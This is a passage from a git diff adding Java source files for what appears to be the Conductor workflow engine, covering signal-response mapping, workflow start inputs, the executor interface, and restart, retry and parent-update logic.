isComplete; + TaskModel terminateTask; + + private DeciderOutcome() {} + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/NotificationResult.java b/core/src/main/java/com/netflix/conductor/core/execution/NotificationResult.java new file mode 100644 index 0000000..335a574 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/NotificationResult.java @@ -0,0 +1,122 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution; + +import java.util.ArrayList; +import java.util.List; + +import org.conductoross.conductor.model.SignalResponse; +import org.conductoross.conductor.model.TaskRun; +import org.conductoross.conductor.model.WorkflowRun; +import org.conductoross.conductor.model.WorkflowSignalReturnStrategy; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.extern.slf4j.Slf4j; + +@Data +@AllArgsConstructor +@Slf4j +@Builder +public class NotificationResult { + private WorkflowModel targetWorkflow; + private WorkflowModel blockingWorkflow; + private List blockingTasks; + + public SignalResponse toResponse( + WorkflowSignalReturnStrategy returnStrategy, String requestId) { + + if (this.blockingTasks == null || this.blockingTasks.isEmpty()) { + return switch (returnStrategy) { + case TARGET_WORKFLOW, BLOCKING_WORKFLOW -> + getWorkflowRun(this.targetWorkflow, requestId, returnStrategy); + default -> null; + }; + } + + return switch (returnStrategy) { + case TARGET_WORKFLOW -> getWorkflowRun(this.targetWorkflow, requestId, returnStrategy); + case BLOCKING_WORKFLOW -> + getWorkflowRun(this.blockingWorkflow, requestId, returnStrategy); + case BLOCKING_TASK, BLOCKING_TASK_INPUT -> + toTaskRun(this.blockingTasks.get(0), requestId, returnStrategy); + }; + } + + private WorkflowRun getWorkflowRun( + WorkflowModel workflow, String requestId, WorkflowSignalReturnStrategy returnStrategy) { + WorkflowRun workflowRun = toWorkflowRun(workflow, requestId); + workflowRun.setTargetWorkflowId(this.targetWorkflow.getWorkflowId()); + workflowRun.setTargetWorkflowStatus(this.targetWorkflow.getStatus().toString()); + workflowRun.setResponseType(returnStrategy); + return workflowRun; + } + + private static WorkflowRun toWorkflowRun(WorkflowModel workflow, String requestId) { + WorkflowRun run = new WorkflowRun(); + run.setTasks(new ArrayList<>()); + + run.setWorkflowId(workflow.getWorkflowId()); + run.setRequestId(requestId); + run.setCorrelationId(workflow.getCorrelationId()); + run.setInput(workflow.getInput()); + run.setCreatedBy(workflow.getCreatedBy()); + run.setCreateTime(workflow.getCreateTime()); + run.setOutput(workflow.getOutput()); + run.setTasks(new ArrayList<>()); + workflow.getTasks().forEach(task -> run.getTasks().add(task.toTask())); + run.setPriority(workflow.getPriority()); + run.setUpdateTime(workflow.getUpdatedTime() == null ? 0 : workflow.getUpdatedTime()); + run.setStatus(Workflow.WorkflowStatus.valueOf(workflow.getStatus().name())); + run.setVariables(workflow.getVariables()); + + return run; + } + + private TaskRun toTaskRun( + TaskModel task, String requestId, WorkflowSignalReturnStrategy responseType) { + TaskRun run = new TaskRun(); + run.setTargetWorkflowId(targetWorkflow.getWorkflowId()); + run.setTargetWorkflowStatus(targetWorkflow.getStatus().toString()); + run.setResponseType(responseType); + run.setRequestId(requestId); + + run.setTaskType(task.getTaskType()); + run.setTaskId(task.getTaskId()); + run.setReferenceTaskName(task.getReferenceTaskName()); + run.setRetryCount(task.getRetryCount()); + run.setTaskDefName(task.getTaskDefName()); + run.setRetriedTaskId(task.getRetriedTaskId()); + run.setWorkflowType(task.getWorkflowType()); + run.setReasonForIncompletion(task.getReasonForIncompletion()); + run.setPriority(task.getWorkflowPriority()); + + run.setWorkflowId(task.getWorkflowInstanceId()); + run.setCorrelationId(task.getCorrelationId()); + run.setStatus(Task.Status.valueOf(task.getStatus().name())); + run.setInput(task.getInputData()); + run.setOutput(task.getOutputData()); + + run.setCreatedBy(task.getWorkerId()); + run.setCreateTime(task.getStartTime()); + run.setUpdateTime(task.getUpdateTime()); + + return run; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/StartWorkflowInput.java b/core/src/main/java/com/netflix/conductor/core/execution/StartWorkflowInput.java new file mode 100644 index 0000000..2454f18 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/StartWorkflowInput.java @@ -0,0 +1,216 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution; + +import java.util.Map; +import java.util.Objects; + +import com.netflix.conductor.common.metadata.workflow.IdempotencyStrategy; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; + +public class StartWorkflowInput { + + private String name; + private Integer version; + private WorkflowDef workflowDefinition; + private Map workflowInput; + private String externalInputPayloadStoragePath; + private String correlationId; + private Integer priority; + private String parentWorkflowId; + private String parentWorkflowTaskId; + private String event; + private Map taskToDomain; + private String workflowId; + private String triggeringWorkflowId; + private String idempotencyKey; + private IdempotencyStrategy idempotencyStrategy; + + public StartWorkflowInput() {} + + public StartWorkflowInput(StartWorkflowRequest startWorkflowRequest) { + this.name = startWorkflowRequest.getName(); + this.version = startWorkflowRequest.getVersion(); + this.workflowDefinition = startWorkflowRequest.getWorkflowDef(); + this.correlationId = startWorkflowRequest.getCorrelationId(); + this.priority = startWorkflowRequest.getPriority(); + this.workflowInput = startWorkflowRequest.getInput(); + this.externalInputPayloadStoragePath = + startWorkflowRequest.getExternalInputPayloadStoragePath(); + this.taskToDomain = startWorkflowRequest.getTaskToDomain(); + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public Integer getVersion() { + return version; + } + + public void setVersion(Integer version) { + this.version = version; + } + + public WorkflowDef getWorkflowDefinition() { + return workflowDefinition; + } + + public void setWorkflowDefinition(WorkflowDef workflowDefinition) { + this.workflowDefinition = workflowDefinition; + } + + public Map getWorkflowInput() { + return workflowInput; + } + + public void setWorkflowInput(Map workflowInput) { + this.workflowInput = workflowInput; + } + + public String getExternalInputPayloadStoragePath() { + return externalInputPayloadStoragePath; + } + + public void setExternalInputPayloadStoragePath(String externalInputPayloadStoragePath) { + this.externalInputPayloadStoragePath = externalInputPayloadStoragePath; + } + + public String getCorrelationId() { + return correlationId; + } + + public void setCorrelationId(String correlationId) { + this.correlationId = correlationId; + } + + public Integer getPriority() { + return priority; + } + + public void setPriority(Integer priority) { + this.priority = priority; + } + + public String getParentWorkflowId() { + return parentWorkflowId; + } + + public void setParentWorkflowId(String parentWorkflowId) { + this.parentWorkflowId = parentWorkflowId; + } + + public String getParentWorkflowTaskId() { + return parentWorkflowTaskId; + } + + public void setParentWorkflowTaskId(String parentWorkflowTaskId) { + this.parentWorkflowTaskId = parentWorkflowTaskId; + } + + public String getEvent() { + return event; + } + + public void setEvent(String event) { + this.event = event; + } + + public Map getTaskToDomain() { + return taskToDomain; + } + + public void setTaskToDomain(Map taskToDomain) { + this.taskToDomain = taskToDomain; + } + + public String getWorkflowId() { + return workflowId; + } + + public void setWorkflowId(String workflowId) { + this.workflowId = workflowId; + } + + public String getTriggeringWorkflowId() { + return triggeringWorkflowId; + } + + public void setTriggeringWorkflowId(String triggeringWorkflowId) { + this.triggeringWorkflowId = triggeringWorkflowId; + } + + public String getIdempotencyKey() { + return idempotencyKey; + } + + public void setIdempotencyKey(String idempotencyKey) { + this.idempotencyKey = idempotencyKey; + } + + public IdempotencyStrategy getIdempotencyStrategy() { + return idempotencyStrategy; + } + + public void setIdempotencyStrategy(IdempotencyStrategy idempotencyStrategy) { + this.idempotencyStrategy = idempotencyStrategy; + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (o == null || getClass() != o.getClass()) return false; + StartWorkflowInput that = (StartWorkflowInput) o; + return Objects.equals(name, that.name) + && Objects.equals(version, that.version) + && Objects.equals(workflowDefinition, that.workflowDefinition) + && Objects.equals(workflowInput, that.workflowInput) + && Objects.equals( + externalInputPayloadStoragePath, that.externalInputPayloadStoragePath) + && Objects.equals(correlationId, that.correlationId) + && Objects.equals(priority, that.priority) + && Objects.equals(parentWorkflowId, that.parentWorkflowId) + && Objects.equals(parentWorkflowTaskId, that.parentWorkflowTaskId) + && Objects.equals(event, that.event) + && Objects.equals(taskToDomain, that.taskToDomain) + && Objects.equals(triggeringWorkflowId, that.triggeringWorkflowId) + && Objects.equals(workflowId, that.workflowId) + && Objects.equals(idempotencyKey, that.idempotencyKey) + && Objects.equals(idempotencyStrategy, that.idempotencyStrategy); + } + + @Override + public int hashCode() { + return Objects.hash( + name, + version, + workflowDefinition, + workflowInput, + externalInputPayloadStoragePath, + correlationId, + priority, + parentWorkflowId, + parentWorkflowTaskId, + event, + taskToDomain, + triggeringWorkflowId, + workflowId, + idempotencyKey, + idempotencyStrategy); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/WorkflowExecutor.java b/core/src/main/java/com/netflix/conductor/core/execution/WorkflowExecutor.java new file mode 100644 index 0000000..df5b1de --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/WorkflowExecutor.java @@ -0,0 +1,198 @@ +/* + * Copyright 2024 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution; + +import java.util.List; + +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.workflow.RerunWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.SkipTaskRequest; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.core.exception.ConflictException; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +public interface WorkflowExecutor { + + /** + * Resets callbacks for the workflow - all the scheduled tasks will be immediately ready to be + * polled + * + * @param workflowId id of the workflow + */ + void resetCallbacksForWorkflow(String workflowId); + + /** + * Retrun a workflow + * + * @param request request parameters + * @return id of the workflow + */ + String rerun(RerunWorkflowRequest request); + + /** + * Restart the workflow from the beginning. If useLatestDefinitions is specified - use the + * latest definition + * + * @param workflowId id of the workflow + * @param useLatestDefinitions use latest definition if specified as true + * @throws ConflictException if the workflow is not in terminal state + * @throws NotFoundException if no such workflow by id + */ + void restart(String workflowId, boolean useLatestDefinitions) + throws ConflictException, NotFoundException; + + /** + * Gets the last instance of each failed task and reschedule each Gets all cancelled tasks and + * schedule all of them except JOIN (join should change status to INPROGRESS) Switch workflow + * back to RUNNING status and call decider. + * + * @param workflowId the id of the workflow to be retried + * @param resumeSubworkflowTasks Resumes the tasks inside the subworkflow if given + */ + void retry(String workflowId, boolean resumeSubworkflowTasks); + + /** + * @param taskResult the task result to be updated. + * @throws IllegalArgumentException if the {@link TaskResult} is null. + * @throws NotFoundException if the Task is not found. + */ + TaskModel updateTask(TaskResult taskResult); + + /** + * @param taskId id of the task + * @return task + */ + TaskModel getTask(String taskId); + + /** + * @param workflowName name of the workflow + * @param version version + * @return list of running workflows + */ + List getRunningWorkflows(String workflowName, int version); + + /** + * @param name name of the workflow + * @param version version + * @param startTime from when + * @param endTime till when + * @return list of workflow ids matching criteria + */ + List getWorkflows(String name, Integer version, Long startTime, Long endTime); + + /** + * @param workflowName name + * @param version version + * @return list of running workflow ids + */ + List getRunningWorkflowIds(String workflowName, int version); + + /** + * @param workflowId id of the workflow to be evaluated + * @return updated workflow + */ + WorkflowModel decide(String workflowId); + + /** + * @param workflow workflow to be evaluated + * @return updated workflow or null if the lock cannot be acquired + */ + WorkflowModel decideWithLock(WorkflowModel workflow); + + /** + * @param workflowId id of the workflow to be terminated + * @param reason termination reason to be recorded + */ + void terminateWorkflow(String workflowId, String reason); + + /** + * @param workflow Workflow to be terminated + * @param reason Reason for termination + * @param failureWorkflow Failure workflow (if any), to be triggered as a result of this + * termination + */ + default WorkflowModel terminateWorkflow( + WorkflowModel workflow, String reason, String failureWorkflow) { + return terminateWorkflow(workflow, reason, failureWorkflow, null); + } + + /** + * @param workflow Workflow to be terminated + * @param reason Reason for termination + * @param failureWorkflow Failure workflow (if any), to be triggered as a result of this + * termination + * @param failureWorkflowVersion Failure workflow version (if any) + */ + WorkflowModel terminateWorkflow( + WorkflowModel workflow, + String reason, + String failureWorkflow, + Integer failureWorkflowVersion); + + /** + * @param workflowId + */ + void pauseWorkflow(String workflowId); + + /** + * @param workflowId the workflow to be resumed + * @throws IllegalStateException if the workflow is not in PAUSED state + */ + void resumeWorkflow(String workflowId); + + /** + * @param workflowId the id of the workflow + * @param taskReferenceName the referenceName of the task to be skipped + * @param skipTaskRequest the {@link SkipTaskRequest} object + * @throws IllegalStateException + */ + void skipTaskFromWorkflow( + String workflowId, String taskReferenceName, SkipTaskRequest skipTaskRequest); + + /** + * @param workflowId id of the workflow + * @param includeTasks includes the tasks if specified + * @return + */ + WorkflowModel getWorkflow(String workflowId, boolean includeTasks); + + /** + * Used by tasks such as do while + * + * @param task parent task + * @param workflow workflow + */ + void scheduleNextIteration(TaskModel task, WorkflowModel workflow); + + /** + * @param input Starts a new workflow execution + * @return id of the workflow + */ + String startWorkflow(StartWorkflowInput input); + + /** + * Starts a new workflow execution for a caller-provided workflow id, or returns the existing + * workflow if that id has already been created, without running the child workflow's initial + * decide inline. + * + *

This is intended for parent/child orchestration flows such as {@code SUB_WORKFLOW}, where + * the parent needs to attach to the created child quickly and the child can be evaluated + * asynchronously through the normal decider queue. + * + * @param input starts a workflow execution with a caller-provided workflow id + * @return created or existing workflow model + */ + WorkflowModel startWorkflowIdempotent(StartWorkflowInput input); +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/WorkflowExecutorOps.java b/core/src/main/java/com/netflix/conductor/core/execution/WorkflowExecutorOps.java new file mode 100644 index 0000000..1beaa1b --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/WorkflowExecutorOps.java @@ -0,0 +1,2633 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution; + +import java.time.Duration; +import java.util.*; +import java.util.function.Predicate; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.time.StopWatch; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.annotations.Trace; +import com.netflix.conductor.annotations.VisibleForTesting; +import com.netflix.conductor.common.metadata.tasks.*; +import com.netflix.conductor.common.metadata.workflow.RerunWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.SkipTaskRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.utils.TaskUtils; +import com.netflix.conductor.core.WorkflowContext; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.dal.ExecutionDAOFacade; +import com.netflix.conductor.core.exception.*; +import com.netflix.conductor.core.execution.tasks.SystemTaskRegistry; +import com.netflix.conductor.core.execution.tasks.Terminate; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.core.listener.TaskStatusListener; +import com.netflix.conductor.core.listener.WorkflowStatusListener; +import com.netflix.conductor.core.listener.WorkflowStatusListener.WorkflowEventType; +import com.netflix.conductor.core.metadata.MetadataMapperService; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.core.utils.QueueUtils; +import com.netflix.conductor.core.utils.Utils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.dao.WorkflowMessageQueueDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.service.ExecutionLockService; + +import com.google.common.base.Preconditions; + +import static com.netflix.conductor.core.utils.Utils.DECIDER_QUEUE; +import static com.netflix.conductor.model.TaskModel.Status.*; + +import static org.conductoross.conductor.core.execution.ExecutorUtils.computePostpone; +import static org.conductoross.conductor.core.execution.ExecutorUtils.hasInProgressHumanTask; + +/** Workflow services provider interface */ +@Trace +@Component +public class WorkflowExecutorOps implements WorkflowExecutor { + + private static final Logger LOGGER = LoggerFactory.getLogger(WorkflowExecutorOps.class); + private static final int EXPEDITED_PRIORITY = 10; + private static final String CLASS_NAME = WorkflowExecutor.class.getSimpleName(); + private static final Predicate UNSUCCESSFUL_TERMINAL_TASK = + task -> !task.getStatus().isSuccessful() && task.getStatus().isTerminal(); + private static final Predicate UNSUCCESSFUL_JOIN_TASK = + UNSUCCESSFUL_TERMINAL_TASK.and(t -> TaskType.TASK_TYPE_JOIN.equals(t.getTaskType())); + private static final Predicate NON_TERMINAL_TASK = + task -> !task.getStatus().isTerminal(); + private final MetadataDAO metadataDAO; + private final QueueDAO queueDAO; + private final DeciderService deciderService; + private final ConductorProperties properties; + private final MetadataMapperService metadataMapperService; + private final ExecutionDAOFacade executionDAOFacade; + private final ParametersUtils parametersUtils; + private final IDGenerator idGenerator; + private final WorkflowStatusListener workflowStatusListener; + private final TaskStatusListener taskStatusListener; + private final SystemTaskRegistry systemTaskRegistry; + private long activeWorkerLastPollMs; + private final ExecutionLockService executionLockService; + private final Optional workflowMessageQueueDAO; + + private final Predicate validateLastPolledTime = + pollData -> + pollData.getLastPollTime() + > System.currentTimeMillis() - activeWorkerLastPollMs; + + public WorkflowExecutorOps( + DeciderService deciderService, + MetadataDAO metadataDAO, + QueueDAO queueDAO, + MetadataMapperService metadataMapperService, + WorkflowStatusListener workflowStatusListener, + TaskStatusListener taskStatusListener, + ExecutionDAOFacade executionDAOFacade, + ConductorProperties properties, + ExecutionLockService executionLockService, + SystemTaskRegistry systemTaskRegistry, + ParametersUtils parametersUtils, + IDGenerator idGenerator, + Optional workflowMessageQueueDAO) { + this.deciderService = deciderService; + this.metadataDAO = metadataDAO; + this.queueDAO = queueDAO; + this.properties = properties; + this.metadataMapperService = metadataMapperService; + this.executionDAOFacade = executionDAOFacade; + this.activeWorkerLastPollMs = properties.getActiveWorkerLastPollTimeout().toMillis(); + this.workflowStatusListener = workflowStatusListener; + this.taskStatusListener = taskStatusListener; + this.executionLockService = executionLockService; + this.parametersUtils = parametersUtils; + this.idGenerator = idGenerator; + this.systemTaskRegistry = systemTaskRegistry; + this.workflowMessageQueueDAO = workflowMessageQueueDAO; + } + + /** + * @param workflowId the id of the workflow for which task callbacks are to be reset + * @throws ConflictException if the workflow is in terminal state + */ + @Override + public void resetCallbacksForWorkflow(String workflowId) { + WorkflowModel workflow = executionDAOFacade.getWorkflowModel(workflowId, true); + if (workflow.getStatus().isTerminal()) { + throw new ConflictException( + "Workflow is in terminal state. Status = %s", workflow.getStatus()); + } + + // Get SIMPLE tasks in SCHEDULED state that have callbackAfterSeconds > 0 and + // set the + // callbackAfterSeconds to 0 + workflow.getTasks().stream() + .filter( + task -> + !systemTaskRegistry.isSystemTask(task.getTaskType()) + && SCHEDULED == task.getStatus() + && task.getCallbackAfterSeconds() > 0) + .forEach( + task -> { + if (queueDAO.resetOffsetTime( + QueueUtils.getQueueName(task), task.getTaskId())) { + task.setCallbackAfterSeconds(0); + executionDAOFacade.updateTask(task); + } + }); + } + + @Override + public String rerun(RerunWorkflowRequest request) { + Utils.checkNotNull(request.getReRunFromWorkflowId(), "reRunFromWorkflowId is missing"); + if (!rerunWF( + request.getReRunFromWorkflowId(), + request.getReRunFromTaskId(), + request.getTaskInput(), + request.getWorkflowInput(), + request.getCorrelationId())) { + throw new IllegalArgumentException( + "Task " + request.getReRunFromTaskId() + " not found"); + } + return request.getReRunFromWorkflowId(); + } + + /** + * @param workflowId the id of the workflow to be restarted + * @param useLatestDefinitions if true, use the latest workflow and task definitions upon + * restart + * @throws ConflictException Workflow is not in a terminal state. + * @throws NotFoundException Workflow definition is not found or Workflow is deemed + * non-restartable as per workflow definition. + */ + @Override + public void restart(String workflowId, boolean useLatestDefinitions) { + final WorkflowModel workflow = executionDAOFacade.getWorkflowModel(workflowId, true); + + if (!workflow.getStatus().isTerminal()) { + String errorMsg = + String.format( + "Workflow: %s is not in terminal state, unable to restart.", workflow); + LOGGER.error(errorMsg); + throw new ConflictException(errorMsg); + } + + WorkflowDef workflowDef; + if (useLatestDefinitions) { + workflowDef = + metadataDAO + .getLatestWorkflowDef(workflow.getWorkflowName()) + .orElseThrow( + () -> + new NotFoundException( + "Unable to find latest definition for %s", + workflowId)); + workflow.setWorkflowDefinition(workflowDef); + workflowDef = metadataMapperService.populateTaskDefinitions(workflowDef); + } else { + workflowDef = + Optional.ofNullable(workflow.getWorkflowDefinition()) + .orElseGet( + () -> + metadataDAO + .getWorkflowDef( + workflow.getWorkflowName(), + workflow.getWorkflowVersion()) + .orElseThrow( + () -> + new NotFoundException( + "Unable to find definition for %s", + workflowId))); + } + + if (!workflowDef.isRestartable() + && workflow.getStatus() + .equals( + WorkflowModel.Status + .COMPLETED)) { // Can only restart non-completed workflows + // when the configuration is set to false + throw new NotFoundException("Workflow: %s is non-restartable", workflow); + } + + // Reset the workflow in the primary datastore and remove from indexer; then + // re-create it + executionDAOFacade.resetWorkflow(workflowId); + + workflow.getTasks().clear(); + workflow.setReasonForIncompletion(null); + workflow.setFailedTaskId(null); + workflow.setCreateTime(System.currentTimeMillis()); + workflow.setEndTime(0); + workflow.setLastRetriedTime(0); + // Change the status to running + workflow.setStatus(WorkflowModel.Status.RUNNING); + workflow.setOutput(null); + workflow.setExternalOutputPayloadStoragePath(null); + + try { + executionDAOFacade.createWorkflow(workflow); + // Notify on workflow started. + notifyWorkflowStatusListener(workflow, WorkflowEventType.RESTARTED); + } catch (Exception e) { + Monitors.recordWorkflowStartError( + workflowDef.getName(), WorkflowContext.get().getClientApp()); + LOGGER.error("Unable to restart workflow: {}", workflowDef.getName(), e); + terminateWorkflow(workflowId, "Error when restarting the workflow"); + throw e; + } + + metadataMapperService.populateWorkflowWithDefinitions(workflow); + decide(workflowId); + + updateAndPushParents(workflow, "restarted"); + } + + /** + * Gets the last instance of each failed task and reschedule each Gets all cancelled tasks and + * schedule all of them except JOIN (join should change status to INPROGRESS) Switch workflow + * back to RUNNING status and call decider. + * + * @param workflowId the id of the workflow to be retried + */ + @Override + public void retry(String workflowId, boolean resumeSubworkflowTasks) { + WorkflowModel workflow = executionDAOFacade.getWorkflowModel(workflowId, true); + if (!workflow.getStatus().isTerminal()) { + throw new NotFoundException( + "Workflow is still running. status=%s", workflow.getStatus()); + } + if (workflow.getTasks().isEmpty()) { + throw new ConflictException("Workflow has not started yet"); + } + + if (resumeSubworkflowTasks) { + Optional taskToRetry = + workflow.getTasks().stream().filter(UNSUCCESSFUL_TERMINAL_TASK).findFirst(); + if (taskToRetry.isPresent()) { + workflow = findLastFailedSubWorkflowIfAny(taskToRetry.get(), workflow); + retry(workflow); + updateAndPushParents(workflow, "retried"); + decide(workflow.getWorkflowId()); + } + } else { + retry(workflow); + updateAndPushParents(workflow, "retried"); + decide(workflow.getWorkflowId()); + } + } + + private void updateAndPushParents(WorkflowModel workflow, String operation) { + String workflowIdentifier = ""; + while (workflow.hasParent()) { + // update parent's sub workflow task + TaskModel subWorkflowTask = + executionDAOFacade.getTaskModel(workflow.getParentWorkflowTaskId()); + if (subWorkflowTask == null || subWorkflowTask.getWorkflowTask() == null) { + // orphan sub-workflow: parent task reference no longer exists (e.g. parent was + // restarted and task list was cleared) — stop walking parent chain + break; + } + if (subWorkflowTask.getWorkflowTask().isOptional()) { + LOGGER.info( + "Sub workflow task {} is optional, skip updating parents", subWorkflowTask); + break; + } + if (subWorkflowTask.isRetried() + && TaskType.TASK_TYPE_SUB_WORKFLOW.equalsIgnoreCase( + subWorkflowTask.getTaskType())) { + // this sub-workflow belongs to a superseded retry attempt; the parent has already + // advanced to a newer task — stop walking + break; + } + subWorkflowTask.setSubworkflowChanged(true); + subWorkflowTask.setStatus(IN_PROGRESS); + subWorkflowTask.setReasonForIncompletion(null); + executionDAOFacade.updateTask(subWorkflowTask); + + // add an execution log + String currentWorkflowIdentifier = workflow.toShortString(); + workflowIdentifier = + !workflowIdentifier.equals("") + ? String.format( + "%s -> %s", currentWorkflowIdentifier, workflowIdentifier) + : currentWorkflowIdentifier; + TaskExecLog log = + new TaskExecLog( + String.format("Sub workflow %s %s.", workflowIdentifier, operation)); + log.setTaskId(subWorkflowTask.getTaskId()); + executionDAOFacade.addTaskExecLog(Collections.singletonList(log)); + LOGGER.info("Task {} updated. {}", log.getTaskId(), log.getLog()); + + // push the parent workflow to decider queue for asynchronous 'decide' + String parentWorkflowId = workflow.getParentWorkflowId(); + WorkflowModel parentWorkflow = + executionDAOFacade.getWorkflowModel(parentWorkflowId, true); + parentWorkflow.setStatus(WorkflowModel.Status.RUNNING); + parentWorkflow.setReasonForIncompletion(null); + parentWorkflow.setFailedTaskId(null); + parentWorkflow.setFailedReferenceTaskNames(new HashSet<>()); + parentWorkflow.setFailedTaskNames(new HashSet<>()); + parentWorkflow.setLastRetriedTime(System.currentTimeMillis()); + executionDAOFacade.updateWorkflow(parentWorkflow); + + for (TaskModel task : parentWorkflow.getTasks()) { + if (task.getTaskType().equalsIgnoreCase(TaskType.TASK_TYPE_SUB_WORKFLOW) + && task.getSubWorkflowId() != null + && UNSUCCESSFUL_TERMINAL_TASK.test(task)) { + // retry sibling sub-workflows that are still in a failed/timed-out state + WorkflowModel child = + executionDAOFacade.getWorkflowModel(task.getSubWorkflowId(), true); + if (child != null) { + if (child.getStatus() == WorkflowModel.Status.RUNNING) { + // Child was already set RUNNING by an in-progress rerun; surfacing that + // to the parent task without calling retry() avoids creating a spurious + // new task instance that conflicts with the rerun's own finalizeRerun. + task.setStatus(IN_PROGRESS); + task.setReasonForIncompletion(null); + task.setSubworkflowChanged(true); + executionDAOFacade.updateTask(task); + } else if (child.getTasks().stream().anyMatch(UNSUCCESSFUL_TERMINAL_TASK)) { + retry(child); + task.setStatus(IN_PROGRESS); + task.setReasonForIncompletion(null); + task.setSubworkflowChanged(true); + executionDAOFacade.updateTask(task); + } + } + } else if (task.getStatus() == CANCELED) { + if (task.getTaskType().equalsIgnoreCase(TaskType.JOIN.toString()) + || task.getTaskType().equalsIgnoreCase(TaskType.DO_WHILE.toString())) { + task.setStatus(IN_PROGRESS); + executionDAOFacade.updateTask(task); + } else { + task.setRetryCount(task.getRetryCount() + 1); + task.setReasonForIncompletion(null); + task.setPollCount(0); + task.setWorkerId(null); + task.setScheduledTime(System.currentTimeMillis()); + task.setStartTime(0); + task.setEndTime(0); + task.setRetried(false); + task.setExecuted(false); + task.setStatus(SCHEDULED); + executionDAOFacade.updateTask(task); + addTaskToQueue(task); + } + } + } + + try { + WorkflowStatusListener.WorkflowEventType event = + WorkflowStatusListener.WorkflowEventType.valueOf(operation.toUpperCase()); + notifyWorkflowStatusListener(parentWorkflow, event); + } catch (IllegalArgumentException e) { + LOGGER.warn("Unknown workflow operation: {}", operation); + } + + expediteLazyWorkflowEvaluation(parentWorkflowId); + + workflow = parentWorkflow; + } + } + + private void resetUnsuccessfulJoinTasks(WorkflowModel workflow) { + if (workflow.getWorkflowDefinition().containsType(TaskType.TASK_TYPE_JOIN) + || workflow.getWorkflowDefinition() + .containsType(TaskType.TASK_TYPE_FORK_JOIN_DYNAMIC)) { + workflow.getTasks().stream() + .filter(UNSUCCESSFUL_JOIN_TASK) + .peek( + task -> { + task.setStatus(TaskModel.Status.IN_PROGRESS); + addTaskToQueue(task); + }) + .forEach(executionDAOFacade::updateTask); + } + } + + private void retry(WorkflowModel workflow) { + // Get all FAILED or CANCELED tasks that are not COMPLETED (or reach other + // terminal states) + // on further executions. + // // Eg: for Seq of tasks task1.CANCELED, task1.COMPLETED, task1 shouldn't be + // retried. + // Throw an exception if there are no FAILED tasks. + // Handle JOIN task CANCELED status as special case. + Map retriableMap = new HashMap<>(); + for (TaskModel task : workflow.getTasks()) { + switch (task.getStatus()) { + case FAILED: + if (task.getTaskType().equalsIgnoreCase(TaskType.JOIN.toString()) + || task.getTaskType() + .equalsIgnoreCase(TaskType.EXCLUSIVE_JOIN.toString())) { + @SuppressWarnings("unchecked") + List joinOn = (List) task.getInputData().get("joinOn"); + boolean 